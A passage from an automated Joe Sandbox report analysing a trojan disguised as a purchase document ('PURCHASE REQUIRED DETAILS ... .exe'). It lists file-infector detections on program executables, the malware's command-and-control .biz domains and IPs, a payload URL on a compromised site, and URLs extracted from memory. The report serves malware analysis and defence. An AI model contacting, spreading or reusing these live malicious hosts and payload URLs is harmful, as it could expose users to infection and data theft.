C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
przvgke.biz	172.234.222.143	true	false	high
76899.bodis.com	199.59.243.227	true	false	high
ssbzmoy.biz	18.141.10.107	true	false	high
knjghuig.biz	18.141.10.107	true	false	high
vjaxhpbji.biz	82.112.184.197	true	false	high
pywolwnvd.biz	54.244.188.177	true	false	high
reallyfreegeoip.org	104.21.67.152	true	false	high
webmail.thematman.com.au	103.20.200.105	true	false	unknown
checkip.dyndns.com	158.101.44.242	true	false	high
cvgrf.biz	54.244.188.177	true	false	high
ww99.przvgke.biz	72.52.179.174	true	false	unknown
lpuegx.biz	82.112.184.197	true	false	high
084725.parkingcrew.net	13.248.148.254	true	false	high
npukfztj.biz	44.221.84.105	true	false	high
lwaziacademy.com	41.185.8.252	true	true	unknown
ww7.przvgke.biz	unknown	unknown	true	unknown
zlenh.biz	unknown	unknown	false	high
checkip.dyndns.org	unknown	unknown	false	high
uhxqin.biz	unknown	unknown	false	high
ww12.przvgke.biz	unknown	unknown	true	unknown
anpmnmxo.biz	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://cvgrf.biz/fapn	true
http://przvgke.biz/bjede	false
https://lwaziacademy.com/royal/233_Sdvvfamydeo	true
http://vjaxhpbji.biz/goescaydbiatn	true
http://przvgke.biz/fauopp	false
http://lpuegx.biz/pfoxkxwneqnmhcsc	true
http://ssbzmoy.biz/fupmvmgjbhmts	false
http://ssbzmoy.biz/jae	false
http://przvgke.biz/cairvr	false
http://checkip.dyndns.org/	false
http://pywolwnvd.biz/nimjw	true
http://npukfztj.biz/cbecuogqej	false
http://vjaxhpbji.biz/ewvwgr	true
http://cvgrf.biz/npdqgsoqmq	true
http://lpuegx.biz/bwbcqohd	true
http://lpuegx.biz/tjgeolaydho	true
https://reallyfreegeoip.org/xml/8.46.123.228	false
http://vjaxhpbji.biz/eooel	true
http://vjaxhpbji.biz/ovwmjligotchf	true
http://knjghuig.biz/uoxisrajk	false
http://lpuegx.biz/ahrvaxreoca	true
http://knjghuig.biz/jedofahyn	false
http://pywolwnvd.biz/kka	true
http://przvgke.biz/obujsmdylt	false

URLs from Memory and Binaries

Name	Source	Malicious
http://82.112.184.197:80/ewvwgrydho;	alg.exe, 0000000C.00000002.2678337066.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2504408832.000000000058A000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	false
http://ocsp.sectigo.com0	PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	false
http://82.112.184.197:80/pfoxkxwneqnmhcscM	alg.exe, 0000000C.00000003.2281172548.000000000058A000.00000004.00000020.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	false
http://ww99.przvgke.biz/bjede	alg.exe, 0000000C.00000003.2279374376.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1825992446.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000002.2678337066.000000000056F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800587225.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2503862949.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2281474066.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000002.2678337066.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1804005716.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1783776008.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1830975438.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2504629883.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2052183315.00000000005AB000.00000004.00000020.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	false
https://lwaziacademy.com/royal/233_Sdvvfamydeo~	PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1577410534.00000000007CB000.00000004.00000020.00020000.00000000.sdmp	false
http://ww12.przvgke.biz/bjede?usid=18&utid=28672493896	alg.exe, 0000000C.00000003.1830975438.00000000005BF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2052183315.00000000005BF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1784696793.00000000005BE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800587225.00000000005BE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1825992446.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	false
http://ww12.przvgke.biz:80/fauopp?usid=18&utid=28672494417	alg.exe, 0000000C.00000003.1800721272.000000000058A000.00000004.00000020.00020000.00000000.sdmp	false
http://82.112.184.197/ewvwgr	alg.exe, 0000000C.00000003.2503862949.00000000005B4000.00000004.00000020.00020000.00000000.sdmp	false
http://18.141.10.107/jedofahynK	alg.exe, 0000000C.00000003.1825992446.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1830975438.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	false
http://18.141.10.107/jedofahyn	alg.exe, 0000000C.00000003.1825992446.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1826309227.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1830975438.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	false
https://www.google.com	ymafvvdS.pif, 00000009.00000003.1780195449.000000002AE10000.00000004.00000020.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.1780016826.000000002A730000.00000004.00001000.00020000.00000000.sdmp	false
http://ww12.przvgke.biz:80/bjede?usid=18&utid=28672493896	alg.exe, 0000000C.00000003.1784206549.0000000000589000.00000004.00000020.00020000.00000000.sdmp	false
http://ww99.przvgke.biz:80/bjede	alg.exe, 0000000C.00000003.1784206549.0000000000589000.00000004.00000020.00020000.00000000.sdmp	false
http://ww12.przvgke.biz/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTd8fHx8fHw2NzU3ZGE0MWNm	alg.exe, 0000000C.00000003.1785018186.0000000001700000.00000004.00000020.00020000.00000000.sdmp	false
https://lwaziacademy.com/	PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1577410534.00000000007A1000.00000004.00000020.00020000.00000000.sdmp	true
http://ww99.przvgke.biz:80/fauopp	alg.exe, 0000000C.00000003.1826309227.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800721272.000000000058A000.00000004.00000020.00020000.00000000.sdmp	false
http://54.244.188.177/npdqgsoqmqY	alg.exe, 0000000C.00000003.1685939273.000000000058A000.00000004.00000020.00020000.00000000.sdmp	false
http://54.244.188.177/	alg.exe, 0000000C.00000003.1644704325.000000000056F000.00000004.00000020.00020000.00000000.sdmp	false
https://lwaziacademy.com:443/royal/233_Sdvvfamydeo	PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1577410534.00000000007F9000.00000004.00000020.00020000.00000000.sdmp	false
http://18.141.10.107:80/jedofahynusid=18&utid=28672494417	alg.exe, 0000000C.00000003.2281172548.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2052928274.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1826309227.000000000058A000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	false
http://82.112.184.197/tjgeolaydhoK	alg.exe, 0000000C.00000003.2053936887.00000000005B4000.00000004.00000020.00020000.00000000.sdmp	false
http://172.234.222.143:80/fauopp	alg.exe, 0000000C.00000003.2281172548.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2052928274.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1826309227.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800721272.000000000058A000.00000004.00000020.00020000.00000000.sdmp	false
https://sectigo.com/CPS0	PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	false
http://82.112.184.197/ewvwgrngs	alg.exe, 0000000C.00000003.2503862949.00000000005B4000.00000004.00000020.00020000.00000000.sdmp	false
https://lwaziacademy.com/royal/2	PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.0000000020A7D000.00000004.00001000.00020000.00000000.sdmp	true
http://82.112.184.197/tjgeolaydho	alg.exe, 0000000C.00000003.2053936887.00000000005B4000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000002.2678337066.0000000000518000.00000004.00000020.00020000.00000000.sdmp	false
http://82.112.184.197/eooel	alg.exe, 0000000C.00000002.2678337066.000000000056F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000002.2678337066.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000002.2678337066.00000000005B4000.00000004.00000020.00020000.00000000.sdmp	false
http://rbg.n	PURCHASE REQUIRED DETAILS 000487958790903403.exe	false
http://82.112.184.197:80/tjgeolaydho;	alg.exe, 0000000C.00000003.2281172548.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2052928274.000000000058A000.00000004.00000020.00020000.00000000.sdmp	false
http://54.244.188.177/kka	alg.exe, 0000000C.00000003.1644704325.000000000056F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1644501807.000000000058C000.00000004.00000020.00020000.00000000.sdmp	false
http://82.112.184.197/eooelngs	alg.exe, 0000000C.00000002.2678337066.00000000005B4000.00000004.00000020.00020000.00000000.sdmp	false
http://54.244.188.177:80/npdqgsoqmq	alg.exe, 0000000C.00000003.1700499143.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1685939273.000000000058A000.00000004.00000020.00020000.00000000.sdmp	false
https://pcnatrk.net/track.	alg.exe, 0000000C.00000003.1801065112.0000000001760000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1785018186.0000000001700000.00000004.00000020.00020000.00000000.sdmp	false
http://18.141.10.107:80/fupmvmgjbhmts	alg.exe, 0000000C.00000003.1700499143.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1668813012.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1685939273.000000000058A000.00000004.00000020.00020000.00000000.sdmp	false
https://lwaziacademy.com/royal/233_SdvvfamydeoM6	PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1577410534.00000000007A1000.00000004.00000020.00020000.00000000.sdmp	false
http://ww12.przvgke.biz/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTd8fHx8fHw2NzU3ZGE0M2E5	alg.exe, 0000000C.00000003.1801065112.0000000001760000.00000004.00000020.00020000.00000000.sdmp	false
http://172.234.222.143:80/bjede	alg.exe, 0000000C.00000003.1784206549.0000000000589000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800721272.000000000058A000.00000004.00000020.00020000.00000000.sdmp	false
http://44.221.84.105:80/cbecuogqej	alg.exe, 0000000C.00000003.1700499143.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1784206549.0000000000589000.00000004.00000020.00020000.00000000.sdmp	false
http://82.112.184.197/pfoxkxwneqnmhcsc	alg.exe, 0000000C.00000003.2279374376.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2281172548.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2280831077.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	false
http://82.112.184.197:80/eooelpp	alg.exe, 0000000C.00000002.2678337066.000000000058A000.00000004.00000020.00020000.00000000.sdmp	false
http://ww99.przvgke.biz/bjedeT	alg.exe, 0000000C.00000002.2678337066.000000000056F000.00000004.00000020.00020000.00000000.sdmp	false
http://www.winimage.com/zLibDll	SingleClientServicesUpdater.exe.9.dr	false
http://82.112.184.197/ewvwgroU	alg.exe, 0000000C.00000003.2503862949.00000000005B4000.00000004.00000020.00020000.00000000.sdmp	false
http://ww12.przvgke.biz/fauopp?usid=18&utid=28672494417	alg.exe, 0000000C.00000002.2678337066.0000000000518000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800587225.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	false
http://www.pmail.com	PURCHASE REQUIRED DETAILS 000487958790903403.exe, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1430067996.000000007F9E0000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1571228970.0000000021D3D000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209C2000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1429814207.0000000002597000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1585083858.0000000002596000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1642838997.000000007FB6F000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1634935767.0000000022065000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1571228970.0000000021CDF000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209E5000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000000.1571834546.0000000000416000.00000002.00000001.01000000.00000006.sdmp	false
http://ww12.przvgke.biz/	alg.exe, 0000000C.00000002.2678337066.0000000000518000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.sectigo.com0C	PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	false
http://ww99.przvgke.biz/fauopp	alg.exe, 0000000C.00000003.1800587225.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2503862949.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2281474066.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000002.2678337066.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1804005716.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800849962.00000000005B3000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1830975438.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2504629883.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2052183315.00000000005AB000.00000004.00000020.00020000.00000000.sdmp	false
https://parking3.parklogic.com/page/enhance.js?pcId=12&domain=przvgke.biz	alg.exe, 0000000C.00000003.1801065112.0000000001760000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800351712.00000000014A0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1783458530.00000000014A0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1785018186.0000000001700000.00000004.00000020.00020000.00000000.sdmp	false
http://82.112.184.197/	alg.exe, 0000000C.00000002.2678337066.000000000056F000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.248.148.254	084725.parkingcrew.net	United States	16509	AMAZON-02US	false
172.234.222.143	przvgke.biz	United States	20940	AKAMAI-ASN1EU	false
72.52.179.174	ww99.przvgke.biz	United States	32244	LIQUIDWEBUS	false
199.59.243.227	76899.bodis.com	United States	395082	BODIS-NJUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
41.185.8.252	lwaziacademy.com	South Africa	36943	GridhostZA	true
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
44.221.84.105	npukfztj.biz	United States	14618	AMAZON-AESUS	false
54.244.188.177	pywolwnvd.biz	United States	16509	AMAZON-02US	false
103.20.200.105	webmail.thematman.com.au	Australia	38719	DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU	false
82.112.184.197	vjaxhpbji.biz	Russian Federation	43267	FIRST_LINE-SP_FOR_B2B_CUSTOMERSUPSTREAMSRU	false
18.141.10.107	ssbzmoy.biz	United States	16509	AMAZON-02US	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572131
Start date and time:	2024-12-10 07:04:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	3
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PURCHASE REQUIRED DETAILS 000487958790903403.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@45/171@31/13
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 89 Number of non-executed functions: 194
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, DiagnosticsHub.StandardCollector.Service.exe, SIHClient.exe, VSSVC.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:05:18	API Interceptor	2x Sleep call for process: PURCHASE REQUIRED DETAILS 000487958790903403.exe modified
01:05:39	API Interceptor	10x Sleep call for process: alg.exe modified
01:05:45	API Interceptor	53x Sleep call for process: ymafvvdS.pif modified
01:06:21	API Interceptor	199x Sleep call for process: msdtc.exe modified
